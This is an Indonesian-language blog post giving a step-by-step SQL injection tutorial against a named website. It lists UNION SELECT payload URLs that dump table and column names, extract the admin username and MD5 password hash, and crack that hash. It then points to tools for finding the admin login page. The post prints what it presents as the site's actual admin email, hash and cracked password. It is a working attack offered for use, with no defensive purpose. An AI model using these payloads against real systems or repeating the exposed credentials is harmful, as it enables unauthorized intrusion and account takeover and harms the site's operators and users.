Tuesday

SQL Injection Tutorials

Pertama cari target yg mengandung bug's atau situs2 VULN...disini target kita adalah


Contoh:
http://www.dpsmbd.com/newsdetail.php?id=1  <--- nampak biasa ( lalu beri tanda string (') di belakang'a...)
menjadi :
http://www.dpsmbd.com/newsdetail.php?id=1' <--- muncul error SQL ( berarti situs ini VULN )
ket: Bisa juga dengan ?id=1...


setelah itu mulai mencari jumlah urutan table dengan order by ( dalam beberapa kasus order by tidak akan berfungsi...)
Contoh :    
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 2--   <-- beri tanda min (-) didepan dan tanda (--) dibelakang sebagai maksud pembuka dan penutup,

jika situs masih tampak normal silahkan lanjutkan sampai menemui halaman yg error.
Misalkan :
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 10--    <-- ternyata yang ini muncul error
 ket : ga perlu ngurut...di loncat2 juga bisa yg penting ketemu pertemuan antara error dan tidak'a pas dimana...

Selanjutnya melakukan colomn count dengan UNION SELECT menggunakan angka hingga keluar daftar angka didalam situs tersebut....
Contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1--                  <--- angka belum keluar
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4--              <--- angka belum keluar
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7,8--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7,8,9--     <-- Keluar angka'a...ternyata angka 3 dan 4

ket:  anda bisa sebenar'a langsung ke union select 1,2,3,4,5,6,7,8,9--
karna order by yang tadi dilakukan sampai angka 9 sebelum terjadi error'a....


Setelah tau angka apa saja yg keluar setelah melakukan column count, kita tinggal mencari daftar table'a...dan menaruh group_concat(table_name) di urutan nomor yg tadi keluar di web tersebut...

dan menaruh "from information_schema.tables where table_schema=database()--" diakhir angka  " berarti 9 "......
contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()--


jika keluar daftar table'a...pilihlah table mana yg ingin kita exploitasi...Misalkan kita pilih table "admin"

untuk mencari nama kolom didalam table admin, terlebih dahulu kita merubah/meng convert text "admin" kedalam Hexadecimal


hasil hex dari admin = 61646d696e setiap hexadecimal diawali dengan 0x...dan menjadi 0x61646d696e
lalu tambahkan
limit 1,1--
limit 2,1--
limit 3,1--
limit 4,1--

Fungsi'a untuk mengetahui nama kolom dari table yang dimaksud.
contoh:
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 1,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 2,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 3,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 4,1--

Berikut nama2 kolom dari hasil exploitasi..
limit 1,1--     <-- nama kolom " id "
limit 2,1--     <-- nama kolom " user_name "
limit 3,1--     <-- nama kolom " pass_word "
limit 4,1--     <-- nama kolom " admin_email "

yang akan kita exploitasi selanjutnya adalah isi dari nama kolom " user_name " dan " pass_word "
contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,group_concat(user_name,0x3a,pass_word),4,5,6,7,8,9 from admin--

atau bisa juga satu per satu dengan cara memisahkan nama kolom
contoh:

http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,user_name,4,5,6,7,8,9 from admin--    <--- untuk melihat username

http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,pass_word,4,5,6,7,8,9 from admin--     <--- untuk melihat password

Maka keluarlah isi dari kolom tersebut, dengan isi :
superadmin@dps.com:44771849be55a878c9651a1794308cf5
yang berarti :
user_name = superadmin@dps.com
pass_word = 44771849be55a878c9651a1794308cf5   <--- HASH MD5


karna password'a masih berbentuk hash...maka anda decrypt terlebih dahulu hash tersebut ke http://www.md5decrypter.co.uk/
dan akan ditemukan hasil'a menjadi :
password = DPSmbd

setelah mengetahui username dan password'a, tugas anda selanjutnya adalah mencari login page admin dari situs tersebut.

silahkan gunakan tool finder page admin atau menggunakan jasa online ke http://sc0rpion.ir/af/

 NB : Tehnik diatas tidaklah baku dan bersifat prosedural....kalian bisa menggunakan cara lain.....


Salam Opensource,


ICC

SQL Injection Tutorials Rating: 4.5 Diposkan Oleh: Miftah Budi

0 komentar:

Post a Comment